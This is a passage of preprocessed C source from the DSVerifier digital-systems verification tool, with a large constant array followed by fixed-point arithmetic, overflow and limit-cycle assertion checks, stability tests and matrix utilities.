0.539189737955466f, 0.970058678533189f, 0.901944358898624f, 0.168094826408153f, -0.666711281252260f, 0.965612752173968f, 0.651034558458719f, 0.687501917067508f, 0.758614314567106f, -0.839396045781239f, -0.552775028233564f, -0.528941743867256f, 0.174761156721889f, 0.243585712774679f, 0.588913151268911f, -0.306898192880627f, 0.921540023069231f, -0.0223654942298541f, -0.102408576957649f, 0.612577852207921f, 0.835809058447089f, -0.437118459197839f, 0.455316033239981f, 0.311435507416257f, -0.648992336007256f, 0.346823844785409f, -0.632080213667648f, -0.599678627679202f, -0.653822991854328f, 0.484305292443427f, 0.782046295685087f, 0.960987598814982f, 0.627169162605570f, 0.948092598306120f, -0.185268381817018f, 0.602489977060513f, -0.885827813790617f, -0.00179203147433582f, -0.175476447614991f, 0.0461282236560925f, -0.898013889602944f, 0.256310837914276f, -0.733422110056865f, -0.740091677658095f, 0.966724540497493f, 0.328056986822768f, -0.267854591449557f, 0.670545831663244f, -0.356204313297688f, 0.0729865206358908f, -0.594530723723669f, 0.519965324048968f, 0.0632129606097647f, -0.878434885663544f, -0.497945943395010f, 0.0151854050905818f, -0.218036856012343f, 0.547721213710874f, -0.0915514918588898f, -0.279344098401951f, -0.228654882218650f, 0.100432155997130f, 0.802024600677294f, 0.175832345686877f, 0.0551231013299744f, 0.938247319394824f, 0.639298571360036f, -0.291461603371678f, -0.853503115314794f, -0.604829242631156f, 0.0291571486740745f, -0.932575328418390f, -0.621235088415116f, 0.403040314052094f, -0.809695618266849f, 0.966605888732736f, -0.199254401023053,
-0.540808222970056f, -0.0141840769249790f, 0.114579158224093f, 0.466889318471371f, -0.145415211797766f, -0.846707387707480f, -0.881237200733915f, -0.410798723199712f, -0.637697860299854f, -0.196366036081372f, 0.193267531425712f, -0.258591200841940f, -0.173003722066551f, 0.478121376006132f, 0.953819951501542f, 0.969916001975448f, 0.131515861287576f, -0.499829658784781f, 0.320952777516193f, -0.226980682212371f, 0.766886115655233f, 0.647310434110803f, -0.772594685974992f, 0.772645949480187f, -0.936357605801364f, -0.671842916281206f, -0.595127074295355f, 0.335132581825520f, 0.648964430112689f, -0.793376819398441f, -0.963663232647360f, 0.914308824314478f, -0.397663128784982f, 0.803240040231588f, -0.291039120047626f, -0.339918835846510f, -0.208620988780609f, 0.278177231697424f, -0.833157746552451f, 0.260554706029473f, -0.580537744139231f, 0.918561093477862f, 0.641368468308093f, 0.827379039283645f, -0.412231303854834f, -0.518315486749742f, 0.423356687848085f, 0.0777277584993787f, 0.394127392657178f, 0.609705410002715f, 0.264669032561337f, -0.460555696512027f, -0.0858908123066196f, -0.281781559603429f, -0.179777723960362f, -0.00449990348855067f, 0.803703377739133f, -0.155074032314596f, -0.00206139428833696f, 0.0661730930565525f, -0.737509215752079f, 0.620182143819587f, 0.114750705414661f, 0.545663051433958f, 0.661601724477194f, -0.592280382351976f, 0.609240020031149f, -0.968781019917808f, -0.668068368389875f, 0.206915551463500f, 0.0951453192552747f, 0.268580107578401f, -0.0450052302342363f, -0.933589842483940f, 0.236570492858402f, 0.0688734168318912f, 0.930163232697303f, 0.435953476823146f, 0.533759385687075f, 0.368282038662015f, -0.602312961473778f, 0.709516631712345f, -0.168303926671961f, 0.130670870119294f, -0.657736111745007f, 0.115028598388756f, 0.173728026281032f, -0.681671363429886f, -0.538786035950873f, 0.481457671665448f, 0.0136795278434168f, -0.570065342244344f, 0.188187050857249f, -0.352869308173680f, -0.979175308628854f, 0.223702879460018f, 0.994220466087713f, -0.147795166105729f, 0.218427535879435f, -0.120050826084179f, -0.0124939247430063f, -0.645134875027126f, -0.503122688484778f, 0.534123007328982f, 0.619710972635444f, -0.234248243706177f, 0.987144458053815f, 0.261284702576427f, 0.851827092094236f, 0.750019654249059f, -0.926154630610335f, 0.449356103243440f, 0.783011320523296f, -0.459228158107270f, -0.228877816937867f, 0.271108937592868f, -0.676085611673506f, 0.783114428240160f, 0.636093784021493f, -0.754110314308629f, -0.546386104880684f, 0.0385811136139234f, -0.768951137117397f, -0.644624743947807f, 0.00890157035391148f, -0.0792572116273387f, -0.989980668770044f, 0.603057533157075f, 0.280835727469123f, -0.634716709420524f, -0.712669415138995f, -0.424129916157595f, -0.436923748487354f, 0.467366013559791f, 0.907740481011987f, 0.788617065944311f, -0.152237692069130f, -0.963044404518533f, 0.907393322909416f, 0.806867676446313f, 0.699270310021791f, 0.107867603776547f, 0.127360747415417f, -0.502645789696788f, -0.511744166872327f, -0.121672719343072f, -0.596527146770249f, 0.410180172377510f, -0.852889849908704f, 0.278972213674154f, 0.0260156356783650f, 0.997558501949683f, -0.499245840292893f, -0.451169267624132f, -0.881643497362337f, 0.986957209874262f, -0.129608292321380f, 0.935829016346258f, -0.649021465281634f, 0.550436689069794f, 0.278888743082679f, 0.0137769346664500f, -0.660666060213522f, -0.416709136728042f, -0.302903068397225f, 0.180657445835459f, -0.908195955986293f, 0.280056533234627f, -0.660025789034158f, -0.798207438952561f, 0.901575224780405f, -0.608702932295102f, 0.318860199910414f, 0.874005722023406f, -0.0816057579181704f, 0.981671341873017f, -0.339234700161323f, 0.559717959858931f, 0.390363525109105f, -0.309384476087470f, 0.956563156784297f, -0.623734354817613f, -0.196627375289105f, -0.702076014509088f, 0.293098766889643f, -0.617152224560368f, 0.859117491438645f, 0.661015739867647f, 0.0747554166353739f, -0.282417009682732f, -0.667461537762524f, -0.451029960388404f, -0.464518668674360f, 0.591389440503293f, 0.552648871601186f, -0.242406315814918f, 0.147876771864331f, -0.00605730052917419f, -0.850648363553678f, -0.659957159486993f, -0.165475362851332f, 0.204150315434812f, -0.665767311591476f, -0.716154682563576f, 0.417487456932076f, 0.448184990956287f, 0.733843802413198f, -0.170228277851921f, -0.346809954182150f, 0.956058632188011f, 0.0315623945930987f, 0.509027121691627f, -0.147826185909834f, 0.717423768198044f, -0.153258078639530f, -0.586190749016474f, 0.122228033051868f, -0.884999045468193f, -0.364729711773548f, 0.0869976154696972f, -0.793532199218799f, 0.533748273468951f, -0.852754376244435f, 0.294752047699830f, 0.136764278163013f, 0.838074791168389f, 0.795224598541123f, -0.778005568697498f, -0.260924769562304f, -0.303759147861313f, 0.273726011325558f, 0.530476779331216f, 0.0866801234357086f, 0.0677702376031544f, 0.724353404182035f, -0.974710312543683f, 0.791838170482991f, 0.247768259921660f, 0.979431048271259f, -0.386992541899814f, 0.0640038231299192f, -0.00457726816166693f, 0.371455553726539f, 0.647649995487707f, 0.268304945808406f, -0.320428608173924f, 0.0927511620029309f, 0.256010036486838f, 0.740396212690346f, -0.656873241472848f, 0.823534292439413f, -0.820380362458844f, -0.453300307443023f, 0.784238355222248f, 0.912791840124321f, 0.0999478035440859f, -0.212620916988855f, 0.0170290625008669f, -0.589062380565879f, -0.171833624145497f, -0.524918122866141f, 0.961528292650892f, 0.101262818636430f, 0.941455114569308f, -0.967226220138929f, 0.616781547648562f, -0.913823148383971f, 0.274508821885917f, 0.924653374107756f, -0.866302908989783f, 0.227541907715857f, 0.0907574361370582f, -0.127499097943315f, -0.942071371521895f, -0.119419163649152f, 0.674284088819523f, 0.881328505929745f, 0.246290207551702f, 0.0547607254148590f, -0.462882918359077f, 0.888969728230585f, 0.666583509571921f, 0.238417203582380f, -0.279842248122727f, 0.855260336845903f, 0.314306869401155f, -0.188654877893078f, -0.609304918228150f, 0.169453885325888f, 0.265617874907016f, -0.943423537926184f, 0.493118676869450f, -0.386147750024858f, 0.0103920154342951f, 0.753677832518483f, 0.363353012331066f, -0.286620106520429f, -0.623332994906295f, 0.183966714365642f, -0.124278942882867f, -0.687889346448110f, -0.509002319646341f, -0.705769785650865f, 0.600586126467172f, 0.814989294939922f, 0.198959025256652f, 0.477897007911356f, 0.757957814363899f, 0.617755921094230f, -0.353589871947529f, 0.419688673189503f, -0.860584865805600f, -0.0232779635193843f, -0.789951030889387f, -0.893196700185750f, 0.610996462535201f, 0.847373590985131f, -0.989553358501822f, -0.367651771428081f, 0.741563712056747f, -0.923595352848971f, -0.580174215739367f, 0.577092000574232f, -0.910872910110270f, -0.907499077314190f, 0.692372247654077f, 0.810694134592084f, -0.608596332548047f, 0.761254615051625f, 0.0546240611947364f, -0.393956427117691f, -0.116127831535139f, -0.0352014590913388f, 0.374742194768889f, -0.927344099730091f, 0.939301337232488f, -0.969831716293845f, -0.0489333404770240f, -0.586719398908953f, 0.0235541378462407f, 0.388882981728285f, -0.0728483242295113f, 0.418280445244943f, -0.574289337805456f, -0.779962057565259f, -0.835190719754123f, 0.918717316922657f, -0.765889988109173f, -0.935310664146932f, -0.0750906135370848f, -0.256246546197534f, 0.693865929543926f, 0.592800255527084f, 0.836743344551035f, -0.801953470827580f, 0.0595524153568945f, 0.158376549012192f, -0.429364776412726f, -0.450531184162532f, -0.169317185285268f, 0.420344570579195f, -0.902838087574441f, -0.654676904337469f, 0.941802178622893f, -0.411034608875500f, -0.455381371659872f, 0.582371240315256f, -0.276150504466756f, 0.164276403376185f, -0.960238817086774f, 0.590055303394028f, -0.995185688656226f, -0.285809748360467f, -0.792066171752882f, -0.456123303649101f, -0.864169187700384f, 0.798745251308383f, -0.517673464079948f, 0.523086536900369f, 0.398784615211052f, 0.908677185333852f, -0.434846969584770f, -0.277024535706464f, 0.575800013122065f, -0.0423952171673019f, -0.327530749916683f, -0.401220909875065f, -0.232577533032385f, 0.577630268254944f, -0.733290201484409f, -0.297499739456838f, 0.166541885572822f, -0.646828619904039f, 0.0312662656272755f, 0.754145050600965f, -0.908499825108811f, 0.315379190361296f, 0.366242661082351f, 0.867903806940678f, -0.613391940567782f, 0.00760147209048068f, 0.953424134034927f, -0.812551125910811f, 0.734998935207065f, 0.781720854678504f, -0.653974423413561f, 0.612587888218526f, -0.297359914095386f, -0.409559158758694f, -0.143962230212734f, -0.814888102841114f, 0.359131810502055f, 0.356924557741016f, -0.872415989401612f, 0.716849887848809f, -0.374916928585818f, -0.0702264435280595f, 0.329843438660215f, 0.0956097573088677f, -0.937528128860310f, -0.322293489817529f, 0.781444964993177f, -0.810141738751828f, -0.150295079242497f, 0.846909181293597f, -0.128124277517711f, -0.752611695817661f, 0.839996835828451f, -0.0705685941510277f, 0.000366462394740585f, 0.0788016995849923f, -0.246053200655556f, -0.156645099915028f, -0.460752333796863f, 0.622021359864204f, 0.722871957583123f, -0.257873353238499f, -0.309810184480446f, 0.765248644407833f, -0.553316047243663f, -0.612742789838491f, 0.354017349601509f, 0.923293368553697f, 0.630695912377860f, -0.148750121613537f, -0.821801680234240f, 0.368247966228196f, 0.405416044101496f, -0.803232509711354f, -0.429778551911399f, -0.723837414527446f, -0.963925147452133f, 0.190882872226757f, 0.477008077263598f, -0.661282403679070f, 0.271643442525556f, -0.915994079618801f, 0.196564556546175f, 0.378359035245796f, 0.584016730657668f, -0.0377864332655202f, -0.327376192853106f, 0.850744189707984f, 0.799571679043808f, -0.111126908452029f, 0.525587242291601f, -0.404486180733535f, -0.134496922397279f, 0.0890128096708100f, -0.815560643303157f, -0.920166023598312f, -0.360079578314899f, -0.556238898466371f, -0.220978103133838f, -0.571530268052405f, 0.573332217175226f, -0.133862258696460f, -0.982130330352248f, -0.352538465285082f, 0.318683937697894f, -0.790927430842686f, 0.691168535237102f, 0.806014327242002f, -0.981639450008060f, 0.407200095027265f, 0.918249921845949f, 0.776880149695420f, -0.437773083955269f, -0.385117533333437f, 0.0115152415796460f, 0.687224538003991f, 0.992524870612626f, 0.471003324792228f, -0.873541777412034f, -0.560923118634380f, -0.726151823613842f, -0.538941951730010f, 0.772057551475325f, 0.858490725829641f, -0.168849338472479f };
# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (3 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
